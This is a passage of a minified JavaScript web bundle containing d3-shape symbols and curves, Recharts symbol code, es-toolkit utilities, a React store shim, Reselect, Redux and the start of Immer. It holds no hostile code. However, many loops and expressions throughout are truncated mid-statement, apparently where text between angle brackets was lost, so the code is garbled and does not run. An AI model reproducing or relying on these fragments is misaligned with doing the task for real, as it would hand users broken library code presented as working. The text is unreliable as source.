n=Ln(t/5)/2;e.moveTo(-3*n,-n),e.lineTo(-n,-n),e.lineTo(-n,-3*n),e.lineTo(n,-3*n),e.lineTo(n,-n),e.lineTo(3*n,-n),e.lineTo(3*n,n),e.lineTo(n,n),e.lineTo(n,3*n),e.lineTo(-n,3*n),e.lineTo(-n,n),e.lineTo(-3*n,n),e.closePath()}},m5=Ln(1/3),i_=m5*2,a_={draw(e,t){const n=Ln(t/i_),r=n*m5;e.moveTo(0,-n),e.lineTo(r,0),e.lineTo(0,n),e.lineTo(-r,0),e.closePath()}},s_={draw(e,t){const n=Ln(t),r=-n/2;e.rect(r,r,n,n)}},o_=.8908130915292852,h5=Oc(Tc/10)/Oc(7*Tc/10),l_=Oc(Xu/10)*h5,c_=-o5(Xu/10)*h5,u_={draw(e,t){const n=Ln(t*o_),r=l_*n,i=c_*n;e.moveTo(0,-n),e.lineTo(r,i);for(let a=1;a<5;++a){const o=Xu*a/5,l=o5(o),c=Oc(o);e.lineTo(c*n,-l*n),e.lineTo(l*r-c*i,c*r+l*i)}e.closePath()}},If=Ln(3),d_={draw(e,t){const n=-Ln(t/(If*3));e.moveTo(0,n*2),e.lineTo(-If*n,-n),e.lineTo(If*n,-n),e.closePath()}},an=-.5,sn=Ln(3)/2,hm=1/Ln(12),f_=(hm/2+1)*3,p_={draw(e,t){const n=Ln(t/f_),r=n/2,i=n*hm,a=r,o=n*hm+n,l=-a,c=o;e.moveTo(r,i),e.lineTo(a,o),e.lineTo(l,c),e.lineTo(an*r-sn*i,sn*r+an*i),e.lineTo(an*a-sn*o,sn*a+an*o),e.lineTo(an*l-sn*c,sn*l+an*c),e.lineTo(an*r+sn*i,an*i-sn*r),e.lineTo(an*a+sn*o,an*o-sn*a),e.lineTo(an*l+sn*c,an*c-sn*l),e.closePath()}};function m_(e,t){let n=null,r=lx(i);e=typeof e=="function"?e:_e(e||ux),t=typeof t=="function"?t:_e(t===void 0?64:+t);function i(){let a;if(n||(n=a=r()),e.apply(this,arguments).draw(n,+t.apply(this,arguments)),a)return n=null,a+""||null}return i.type=function(a){return arguments.length?(e=typeof a=="function"?a:_e(a),i):e},i.size=function(a){return arguments.length?(t=typeof a=="function"?a:_e(+a),i):t},i.context=function(a){return arguments.length?(n=a??null,i):n},i}function Mc(){}function Lc(e,t,n){e._context.bezierCurveTo((2*e._x0+e._x1)/3,(2*e._y0+e._y1)/3,(e._x0+2*e._x1)/3,(e._y0+2*e._y1)/3,(e._x0+4*e._x1+t)/6,(e._y0+4*e._y1+n)/6)}function x5(e){this._context=e}x5.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){switch(this._point){case 3:Lc(this,this._x1,this._y1);case 2:this._context.lineTo(this._x1,this._y1);break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,this._context.lineTo((5*this._x0+this._x1)/6,(5*this._y0+this._y1)/6);default:Lc(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function h_(e){return new x5(e)}function v5(e){this._context=e}v5.prototype={areaStart:Mc,areaEnd:Mc,lineStart:function(){this._x0=this._x1=this._x2=this._x3=this._x4=this._y0=this._y1=this._y2=this._y3=this._y4=NaN,this._point=0},lineEnd:function(){switch(this._point){case 1:{this._context.moveTo(this._x2,this._y2),this._context.closePath();break}case 2:{this._context.moveTo((this._x2+2*this._x3)/3,(this._y2+2*this._y3)/3),this._context.lineTo((this._x3+2*this._x2)/3,(this._y3+2*this._y2)/3),this._context.closePath();break}case 3:{this.point(this._x2,this._y2),this.point(this._x3,this._y3),this.point(this._x4,this._y4);break}}},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._x2=e,this._y2=t;break;case 1:this._point=2,this._x3=e,this._y3=t;break;case 2:this._point=3,this._x4=e,this._y4=t,this._context.moveTo((this._x0+4*this._x1+e)/6,(this._y0+4*this._y1+t)/6);break;default:Lc(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function x_(e){return new v5(e)}function g5(e){this._context=e}g5.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===3)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1;break;case 1:this._point=2;break;case 2:this._point=3;var n=(this._x0+4*this._x1+e)/6,r=(this._y0+4*this._y1+t)/6;this._line?this._context.lineTo(n,r):this._context.moveTo(n,r);break;case 3:this._point=4;default:Lc(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function v_(e){return new g5(e)}function y5(e){this._context=e}y5.prototype={areaStart:Mc,areaEnd:Mc,lineStart:function(){this._point=0},lineEnd:function(){this._point&&this._context.closePath()},point:function(e,t){e=+e,t=+t,this._point?this._context.lineTo(e,t):(this._point=1,this._context.moveTo(e,t))}};function g_(e){return new y5(e)}function _g(e){return e<0?-1:1}function Og(e,t,n){var r=e._x1-e._x0,i=t-e._x1,a=(e._y1-e._y0)/(r||i<0&&-0),o=(n-e._y1)/(i||r<0&&-0),l=(a*i+o*r)/(r+i);return(_g(a)+_g(o))*Math.min(Math.abs(a),Math.abs(o),.5*Math.abs(l))||0}function Tg(e,t){var n=e._x1-e._x0;return n?(3*(e._y1-e._y0)/n-t)/2:t}function Df(e,t,n){var r=e._x0,i=e._y0,a=e._x1,o=e._y1,l=(a-r)/3;e._context.bezierCurveTo(r+l,i+l*t,a-l,o-l*n,a,o)}function Ic(e){this._context=e}Ic.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=this._t0=NaN,this._point=0},lineEnd:function(){switch(this._point){case 2:this._context.lineTo(this._x1,this._y1);break;case 3:Df(this,this._t0,Tg(this,this._t0));break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){var n=NaN;if(e=+e,t=+t,!(e===this._x1&&t===this._y1)){switch(this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,Df(this,Tg(this,n=Og(this,e,t)),n);break;default:Df(this,this._t0,n=Og(this,e,t));break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t,this._t0=n}}};function b5(e){this._context=new w5(e)}(b5.prototype=Object.create(Ic.prototype)).point=function(e,t){Ic.prototype.point.call(this,t,e)};function w5(e){this._context=e}w5.prototype={moveTo:function(e,t){this._context.moveTo(t,e)},closePath:function(){this._context.closePath()},lineTo:function(e,t){this._context.lineTo(t,e)},bezierCurveTo:function(e,t,n,r,i,a){this._context.bezierCurveTo(t,e,r,n,a,i)}};function y_(e){return new Ic(e)}function b_(e){return new b5(e)}function j5(e){this._context=e}j5.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x=[],this._y=[]},lineEnd:function(){var e=this._x,t=this._y,n=e.length;if(n)if(this._line?this._context.lineTo(e[0],t[0]):this._context.moveTo(e[0],t[0]),n===2)this._context.lineTo(e[1],t[1]);else for(var r=Mg(e),i=Mg(t),a=0,o=1;o=0;--t)i[t]=(o[t]-i[t+1])/a[t];for(a[n-1]=(e[n]+i[n-1])/2,t=0;t=0&&(this._t=1-this._t,this._line=1-this._line)},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:{if(this._t<=0)this._context.lineTo(this._x,t),this._context.lineTo(e,t);else{var n=this._x*(1-this._t)+e*this._t;this._context.lineTo(n,this._y),this._context.lineTo(n,t)}break}}this._x=e,this._y=t}};function j_(e){return new Qu(e,.5)}function k_(e){return new Qu(e,0)}function N_(e){return new Qu(e,1)}function Ui(e,t){if((o=e.length)>1)for(var n=1,r,i,a=e[t[0]],o,l=a.length;n=0;)n[t]=t;return n}function S_(e,t){return e[t]}function z_(e){const t=[];return t.key=e,t}function C_(){var e=_e([]),t=xm,n=Ui,r=S_;function i(a){var o=Array.from(e.apply(this,arguments),z_),l,c=o.length,u=-1,d;for(const f of a)for(l=0,++u;l0){for(var n,r,i=0,a=e[0].length,o;i0){for(var n=0,r=e[t[0]],i,a=r.length;n0)||!((a=(i=e[t[0]]).length)>0))){for(var n=0,r=1,i,a,o;r1&&arguments[1]!==void 0?arguments[1]:O_,n=10**t,r=Math.round(e*n)/n;return Object.is(r,-0)?0:r}function Ke(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),r=1;r{var l=n[o-1];return typeof l=="string"?i+l+a:l!==void 0?i+Vr(l)+a:i+a},"")}var It=e=>e===0?0:e>0?1:-1,Xn=e=>typeof e=="number"&&e!=+e,Vi=e=>typeof e=="string"&&e.indexOf("%")===e.length-1,de=e=>(typeof e=="number"||e instanceof Number)&&!Xn(e),xr=e=>de(e)||typeof e=="string",T_=0,xo=e=>{var t=++T_;return"".concat(e||"").concat(t)},Zt=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:0,i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!1;if(!de(t)&&typeof t!="string")return r;var a;if(Vi(t)){if(n==null)return r;var o=t.indexOf("%");a=n*parseFloat(t.slice(0,o))/100}else a=+t;return Xn(a)&&(a=r),i&&n!=null&&a>n&&(a=n),a},S5=e=>{if(!Array.isArray(e))return!1;for(var t=e.length,n={},r=0;rr&&(typeof t=="function"?t(r):ho(r,t))===n)}var jt=e=>e===null||typeof e>"u",Do=e=>jt(e)?e:"".concat(e.charAt(0).toUpperCase()).concat(e.slice(1));function Vn(e){return e!=null}function Qa(){}var M_=["type","size","sizeType"];function vm(){return vm=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var t="symbol".concat(Do(e));return C5[t]||ux},W_=(e,t,n)=>{if(t==="area")return e;switch(n){case"cross":return 5*e*e/9;case"diamond":return .5*e*e/Math.sqrt(3);case"square":return e*e;case"star":{var r=18*B_;return 1.25*e*e*(Math.tan(r)-Math.tan(r*2)*Math.tan(r)**2)}case"triangle":return Math.sqrt(3)*e*e/4;case"wye":return(21-10*Math.sqrt(3))*e*e/8;default:return Math.PI*e*e/4}},U_=(e,t)=>{C5["symbol".concat(Do(e))]=t},P5=e=>{var{type:t="circle",size:n=64,sizeType:r="area"}=e,i=R_(e,M_),a=Ig(Ig({},i),{},{type:t,size:n,sizeType:r}),o="circle";typeof t=="string"&&(o=t);var l=()=>{var m=F_(o),h=m_().type(m).size(W_(n,r,o)),x=h();if(x!==null)return x},{className:c,cx:u,cy:d}=a,f=At(a);return de(u)&&de(d)&&de(n)?p.createElement("path",vm({},f,{className:Ve("recharts-symbols",c),transform:"translate(".concat(u,", ").concat(d,")"),d:l()})):null};P5.registerSymbol=U_;var E5=e=>"radius"in e&&"startAngle"in e&&"endAngle"in e,fx=(e,t)=>{if(!e||typeof e=="function"||typeof e=="boolean")return null;var n=e;if(p.isValidElement(e)&&(n=e.props),typeof n!="object"&&typeof n!="function")return null;var r={};return Object.keys(n).forEach(i=>{ox(i)&&(r[i]=a=>n[i](n,a))}),r},V_=(e,t,n)=>r=>(e(t,n,r),null),H_=(e,t,n)=>{if(e===null||typeof e!="object"&&typeof e!="function")return null;var r=null;return Object.keys(e).forEach(i=>{var a=e[i];ox(i)&&typeof a=="function"&&(r||(r={}),r[i]=V_(a,t,n))}),r};function Dg(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function K_(e){for(var t=1;t(o[l]===void 0&&r[l]!==void 0&&(o[l]=r[l]),o),n);return a}var A5={},_5={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){const i=new Map;for(let a=0;a=0}e.isLength=t})(M5);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=M5;function n(r){return r!=null&&typeof r!="function"&&t.isLength(r.length)}e.isArrayLike=n})(nd);var L5={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="object"&&n!==null}e.isObjectLike=t})(L5);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=nd,n=L5;function r(i){return n.isObjectLike(i)&&t.isArrayLike(i)}e.isArrayLikeObject=r})(T5);var I5={},D5={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Ju;function n(r){return function(i){return t.get(i,r)}}e.property=n})(D5);var R5={},mx={},$5={},hx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n!==null&&(typeof n=="object"||typeof n=="function")}e.isObject=t})(hx);var xx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n==null||typeof n!="object"&&typeof n!="function"}e.isPrimitive=t})(xx);var vx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){return n===r||Number.isNaN(n)&&Number.isNaN(r)}e.isEqualsSameValueZero=t})(vx);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=hx,n=xx,r=vx;function i(d,f,m){return typeof m!="function"?i(d,f,()=>{}):a(d,f,function h(x,g,y,v,b,w){const j=m(x,g,y,v,b,w);return j!==void 0?!!j:a(x,g,h,w)},new Map)}function a(d,f,m,h){if(f===d)return!0;switch(typeof f){case"object":return o(d,f,m,h);case"function":return Object.keys(f).length>0?a(d,{...f},m,h):r.isEqualsSameValueZero(d,f);default:return t.isObject(d)?typeof f=="string"?f==="":!0:r.isEqualsSameValueZero(d,f)}}function o(d,f,m,h){if(f==null)return!0;if(Array.isArray(f))return c(d,f,m,h);if(f instanceof Map)return l(d,f,m,h);if(f instanceof Set)return u(d,f,m,h);const x=Object.keys(f);if(d==null||n.isPrimitive(d))return x.length===0;if(x.length===0)return!0;if(h!=null&&h.has(f))return h.get(f)===d;h==null||h.set(f,d);try{for(let g=0;g{})}e.isMatch=n})(mx);var B5={},gx={},F5={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Object.getOwnPropertySymbols(n).filter(r=>Object.prototype.propertyIsEnumerable.call(n,r))}e.getSymbols=t})(F5);var rd={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n==null?n===void 0?"[object Undefined]":"[object Null]":Object.prototype.toString.call(n)}e.getTag=t})(rd);var yx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t="[object RegExp]",n="[object String]",r="[object Number]",i="[object Boolean]",a="[object Arguments]",o="[object Symbol]",l="[object Date]",c="[object Map]",u="[object Set]",d="[object Array]",f="[object Function]",m="[object ArrayBuffer]",h="[object Object]",x="[object Error]",g="[object DataView]",y="[object Uint8Array]",v="[object Uint8ClampedArray]",b="[object Uint16Array]",w="[object Uint32Array]",j="[object BigUint64Array]",k="[object Int8Array]",S="[object Int16Array]",N="[object Int32Array]",z="[object BigInt64Array]",O="[object Float32Array]",E="[object Float64Array]";e.argumentsTag=a,e.arrayBufferTag=m,e.arrayTag=d,e.bigInt64ArrayTag=z,e.bigUint64ArrayTag=j,e.booleanTag=i,e.dataViewTag=g,e.dateTag=l,e.errorTag=x,e.float32ArrayTag=O,e.float64ArrayTag=E,e.functionTag=f,e.int16ArrayTag=S,e.int32ArrayTag=N,e.int8ArrayTag=k,e.mapTag=c,e.numberTag=r,e.objectTag=h,e.regexpTag=t,e.setTag=u,e.stringTag=n,e.symbolTag=o,e.uint16ArrayTag=b,e.uint32ArrayTag=w,e.uint8ArrayTag=y,e.uint8ClampedArrayTag=v})(yx);var W5={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return ArrayBuffer.isView(n)&&!(n instanceof DataView)}e.isTypedArray=t})(W5);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=F5,n=rd,r=yx,i=xx,a=W5;function o(d,f){return l(d,void 0,d,new Map,f)}function l(d,f,m,h=new Map,x=void 0){const g=x==null?void 0:x(d,f,m,h);if(g!==void 0)return g;if(i.isPrimitive(d))return d;if(h.has(d))return h.get(d);if(Array.isArray(d)){const y=new Array(d.length);h.set(d,y);for(let v=0;vt.isMatch(a,i)}e.matches=r})(R5);var U5={},V5={},H5={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=gx,n=rd,r=yx;function i(a,o){return t.cloneDeepWith(a,(l,c,u,d)=>{const f=o==null?void 0:o(l,c,u,d);if(f!==void 0)return f;if(typeof a=="object"){if(n.getTag(a)===r.objectTag&&typeof a.constructor!="function"){const m={};return d.set(a,m),t.copyProperties(m,a,u,d),m}switch(Object.prototype.toString.call(a)){case r.numberTag:case r.stringTag:case r.booleanTag:{const m=new a.constructor(a==null?void 0:a.valueOf());return t.copyProperties(m,a),m}case r.argumentsTag:{const m={};return t.copyProperties(m,a),m.length=a.length,m[Symbol.iterator]=a[Symbol.iterator],m}default:return}}})}e.cloneDeepWith=i})(H5);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=H5;function n(r){return t.cloneDeepWith(r)}e.cloneDeep=n})(V5);var K5={},bx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=/^(?:0|[1-9]\d*)$/;function n(r,i=Number.MAX_SAFE_INTEGER){switch(typeof r){case"number":return Number.isInteger(r)&&r>=0&&r"u"||typeof window.document>"u"||typeof window.document.createElement>"u"?aO:iO;Z5.useSyncExternalStore=$a.useSyncExternalStore!==void 0?$a.useSyncExternalStore:sO;X5.exports=Z5;var oO=X5.exports;/** + * @license React + * use-sync-external-store-shim/with-selector.production.js + * + * Copyright (c) Meta Platforms, Inc. and affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var id=p,lO=oO;function cO(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var uO=typeof Object.is=="function"?Object.is:cO,dO=lO.useSyncExternalStore,fO=id.useRef,pO=id.useEffect,mO=id.useMemo,hO=id.useDebugValue;G5.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var a=fO(null);if(a.current===null){var o={hasValue:!1,value:null};a.current=o}else o=a.current;a=mO(function(){function c(h){if(!u){if(u=!0,d=h,h=r(h),i!==void 0&&o.hasValue){var x=o.value;if(i(x,h))return f=x}return f=h}if(x=f,uO(d,h))return x;var g=r(h);return i!==void 0&&i(x,g)?(d=h,x):(d=h,f=g)}var u=!1,d,f,m=n===void 0?null:n;return[function(){return c(t())},m===null?void 0:function(){return c(m())}]},[t,n,r,i]);var l=dO(e,a[0],a[1]);return pO(function(){o.hasValue=!0,o.value=l},[l]),hO(l),l};Y5.exports=G5;var xO=Y5.exports,wx=p.createContext(null),vO=e=>e,Qe=()=>{var e=p.useContext(wx);return e?e.store.dispatch:vO},Jl=()=>{},gO=()=>Jl,yO=(e,t)=>e===t;function he(e){var t=p.useContext(wx),n=p.useMemo(()=>t?r=>{if(r!=null)return e(r)}:Jl,[t,e]);return xO.useSyncExternalStoreWithSelector(t?t.subscription.addNestedSub:gO,t?t.store.getState:Jl,t?t.store.getState:Jl,n,yO)}function bO(e,t=`expected a function, instead received ${typeof e}`){if(typeof e!="function")throw new TypeError(t)}function wO(e,t=`expected an object, instead received ${typeof e}`){if(typeof e!="object")throw new TypeError(t)}function jO(e,t="expected all items to be functions, instead received the following types: "){if(!e.every(n=>typeof n=="function")){const n=e.map(r=>typeof r=="function"?`function ${r.name||"unnamed"}()`:typeof r).join(", ");throw new TypeError(`${t}[${n}]`)}}var $g=e=>Array.isArray(e)?e:[e];function kO(e){const t=Array.isArray(e[0])?e[0]:e;return jO(t,"createSelector expects all input-selectors to be functions, but received the following types: "),t}function NO(e,t){const n=[],{length:r}=e;for(let i=0;i{n=yl(),o.resetResultsCount()},o.resultsCount=()=>a,o.resetResultsCount=()=>{a=0},o}function PO(e,...t){const n=typeof e=="function"?{memoize:e,memoizeOptions:t}:e,r=(...i)=>{let a=0,o=0,l,c={},u=i.pop();typeof u=="object"&&(c=u,u=i.pop()),bO(u,`createSelector expects an output function after the inputs, but received: [${typeof u}]`);const d={...n,...c},{memoize:f,memoizeOptions:m=[],argsMemoize:h=Q5,argsMemoizeOptions:x=[]}=d,g=$g(m),y=$g(x),v=kO(i),b=f(function(){return a++,u.apply(null,arguments)},...g),w=h(function(){o++;const k=NO(v,arguments);return l=b.apply(null,k),l},...y);return Object.assign(w,{resultFunc:u,memoizedResultFunc:b,dependencies:v,dependencyRecomputations:()=>o,resetDependencyRecomputations:()=>{o=0},lastResult:()=>l,recomputations:()=>a,resetRecomputations:()=>{a=0},memoize:f,argsMemoize:h})};return Object.assign(r,{withTypes:()=>r}),r}var M=PO(Q5),EO=Object.assign((e,t=M)=>{wO(e,`createStructuredSelector expects first argument to be an object where each property is a selector, instead received a ${typeof e}`);const n=Object.keys(e),r=n.map(a=>e[a]);return t(r,(...a)=>a.reduce((o,l,c)=>(o[n[c]]=l,o),{}))},{withTypes:()=>EO}),J5={},ek={},tk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(r){return typeof r=="symbol"?1:r===null?2:r===void 0?3:r!==r?4:0}const n=(r,i,a)=>{if(r!==i){const o=t(r),l=t(i);if(o===l&&o===0){if(ri)return a==="desc"?-1:1}return a==="desc"?l-o:o-l}return 0};e.compareValues=n})(tk);var nk={},jx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="symbol"||n instanceof Symbol}e.isSymbol=t})(jx);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=jx,n=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,r=/^\w*$/;function i(a,o){return Array.isArray(a)?!1:typeof a=="number"||typeof a=="boolean"||a==null||t.isSymbol(a)?!0:typeof a=="string"&&(r.test(a)||!n.test(a))||o!=null&&Object.hasOwn(o,a)}e.isKey=i})(nk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=tk,n=nk,r=td;function i(a,o,l,c){if(a==null)return[];l=c?void 0:l,Array.isArray(a)||(a=Object.values(a)),Array.isArray(o)||(o=o==null?[null]:[o]),o.length===0&&(o=[null]),Array.isArray(l)||(l=l==null?[]:[l]),l=l.map(h=>String(h));const u=(h,x)=>{let g=h;for(let y=0;yx==null||h==null?x:typeof h=="object"&&"key"in h?Object.hasOwn(x,h.key)?x[h.key]:u(x,h.path):typeof h=="function"?h(x):Array.isArray(h)?u(x,h):typeof x=="object"?x[h]:x,f=o.map(h=>(Array.isArray(h)&&h.length===1&&(h=h[0]),h==null||typeof h=="function"||Array.isArray(h)||n.isKey(h)?h:{key:h,path:r.toPath(h)}));return a.map(h=>({original:h,criteria:f.map(x=>d(x,h))})).slice().sort((h,x)=>{for(let g=0;gh.original)}e.orderBy=i})(ek);var rk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r=1){const i=[],a=Math.floor(r),o=(l,c)=>{for(let u=0;u1&&r.isIterateeCall(a,o[0],o[1])?o=[]:l>2&&r.isIterateeCall(o[0],o[1],o[2])&&(o=[o[0]]),t.orderBy(a,n.flatten(o),["asc"])}e.sortBy=i})(J5);var AO=J5.sortBy;const ad=kr(AO);var ik=e=>e.legend.settings,_O=e=>e.legend.size,OO=e=>e.legend.payload;M([OO,ik],(e,t)=>{var{itemSorter:n}=t,r=e.flat(1);return n?ad(r,n):r});var bl=1;function TO(){var e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:[],[t,n]=p.useState({height:0,left:0,top:0,width:0}),r=p.useCallback(i=>{if(i!=null){var a=i.getBoundingClientRect(),o={height:a.height,left:a.left,top:a.top,width:a.width};(Math.abs(o.height-t.height)>bl||Math.abs(o.left-t.left)>bl||Math.abs(o.top-t.top)>bl||Math.abs(o.width-t.width)>bl)&&n({height:o.height,left:o.left,top:o.top,width:o.width})}},[t.width,t.height,t.top,t.left,...e]);return[t,r]}function xt(e){return`Minified Redux error #${e}; visit https://redux.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var MO=typeof Symbol=="function"&&Symbol.observable||"@@observable",Fg=MO,$f=()=>Math.random().toString(36).substring(7).split("").join("."),LO={INIT:`@@redux/INIT${$f()}`,REPLACE:`@@redux/REPLACE${$f()}`,PROBE_UNKNOWN_ACTION:()=>`@@redux/PROBE_UNKNOWN_ACTION${$f()}`},Dc=LO;function Nx(e){if(typeof e!="object"||e===null)return!1;let t=e;for(;Object.getPrototypeOf(t)!==null;)t=Object.getPrototypeOf(t);return Object.getPrototypeOf(e)===t||Object.getPrototypeOf(e)===null}function ak(e,t,n){if(typeof e!="function")throw new Error(xt(2));if(typeof t=="function"&&typeof n=="function"||typeof n=="function"&&typeof arguments[3]=="function")throw new Error(xt(0));if(typeof t=="function"&&typeof n>"u"&&(n=t,t=void 0),typeof n<"u"){if(typeof n!="function")throw new Error(xt(1));return n(ak)(e,t)}let r=e,i=t,a=new Map,o=a,l=0,c=!1;function u(){o===a&&(o=new Map,a.forEach((y,v)=>{o.set(v,y)}))}function d(){if(c)throw new Error(xt(3));return i}function f(y){if(typeof y!="function")throw new Error(xt(4));if(c)throw new Error(xt(5));let v=!0;u();const b=l++;return o.set(b,y),function(){if(v){if(c)throw new Error(xt(6));v=!1,u(),o.delete(b),a=null}}}function m(y){if(!Nx(y))throw new Error(xt(7));if(typeof y.type>"u")throw new Error(xt(8));if(typeof y.type!="string")throw new Error(xt(17));if(c)throw new Error(xt(9));try{c=!0,i=r(i,y)}finally{c=!1}return(a=o).forEach(b=>{b()}),y}function h(y){if(typeof y!="function")throw new Error(xt(10));r=y,m({type:Dc.REPLACE})}function x(){const y=f;return{subscribe(v){if(typeof v!="object"||v===null)throw new Error(xt(11));function b(){const j=v;j.next&&j.next(d())}return b(),{unsubscribe:y(b)}},[Fg](){return this}}}return m({type:Dc.INIT}),{dispatch:m,subscribe:f,getState:d,replaceReducer:h,[Fg]:x}}function IO(e){Object.keys(e).forEach(t=>{const n=e[t];if(typeof n(void 0,{type:Dc.INIT})>"u")throw new Error(xt(12));if(typeof n(void 0,{type:Dc.PROBE_UNKNOWN_ACTION()})>"u")throw new Error(xt(13))})}function sk(e){const t=Object.keys(e),n={};for(let a=0;a"u")throw l&&l.type,new Error(xt(14));u[f]=x,c=c||x!==h}return c=c||r.length!==Object.keys(o).length,c?u:o}}function Rc(...e){return e.length===0?t=>t:e.length===1?e[0]:e.reduce((t,n)=>(...r)=>t(n(...r)))}function DO(...e){return t=>(n,r)=>{const i=t(n,r);let a=()=>{throw new Error(xt(15))};const o={getState:i.getState,dispatch:(c,...u)=>a(c,...u)},l=e.map(c=>c(o));return a=Rc(...l)(i.dispatch),{...i,dispatch:a}}}function ok(e){return Nx(e)&&"type"in e&&typeof e.type=="string"}var lk=Symbol.for("immer-nothing"),Wg=Symbol.for("immer-draftable"),_t=Symbol.for("immer-state");function zn(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var Gt=Object,Ba=Gt.getPrototypeOf,$c="constructor",sd="prototype",gm="configurable",Bc="enumerable",ec="writable",vo="value",vr=e=>!!e&&!!e[_t];function Mn(e){var t;return e?ck(e)||ld(e)||!!e[Wg]||!!((t=e[$c])!=null&&t[Wg])||cd(e)||ud(e):!1}var RO=Gt[sd][$c].toString(),Ug=new WeakMap;function ck(e){if(!e||!Sx(e))return!1;const t=Ba(e);if(t===null||t===Gt[sd])return!0;const n=Gt.hasOwnProperty.call(t,$c)&&t[$c];if(n===Object)return!0;if(!sa(n))return!1;let r=Ug.get(n);return r===void 0&&(r=Function.toString.call(n),Ug.set(n,r)),r===RO}function od(e,t,n=!0){Ro(e)===0?(n?Reflect.ownKeys(e):Gt.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function Ro(e){const t=e[_t];return t?t.type_:ld(e)?1:cd(e)?2:ud(e)?3:0}var Vg=(e,t,n=Ro(e))=>n===2?e.has(t):Gt[sd].hasOwnProperty.call(e,t),ym=(e,t,n=Ro(e))=>n===2?e.get(t):e[t],Fc=(e,t,n,r=Ro(e))=>{r===2?e.set(t,n):r===3?e.add(n):e[t]=n};function $O(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}var ld=Array.isArray,cd=e=>e instanceof Map,ud=e=>e instanceof Set,Sx=e=>typeof e=="object",sa=e=>typeof e=="function",Bf=e=>typeof e=="boolean";function BO(e){const t=+e;return Number.isInteger(t)&&String(t)===e}var ir=e=>e.copy_||e.base_,zx=e=>e.modified_?e.copy_:e.base_;function bm(e,t){if(cd(e))return new Map(e);if(ud(e))return new Set(e);if(ld(e))return Array[sd].slice.call(e);const n=ck(e);if(t===!0||t==="class_only"&&!n){const r=Gt.getOwnPropertyDescriptors(e);delete r[_t];let i=Reflect.ownKeys(r);for(let a=0;a1&&Gt.defineProperties(e,{set:wl,add:wl,clear:wl,delete:wl}),Gt.freeze(e),t&&od(e,(n,r)=>{Cx(r,!0)},!1)),e}function FO(){zn(2)}var wl={[vo]:FO};function dd(e){return e===null||!Sx(e)?!0:Gt.isFrozen(e)}var 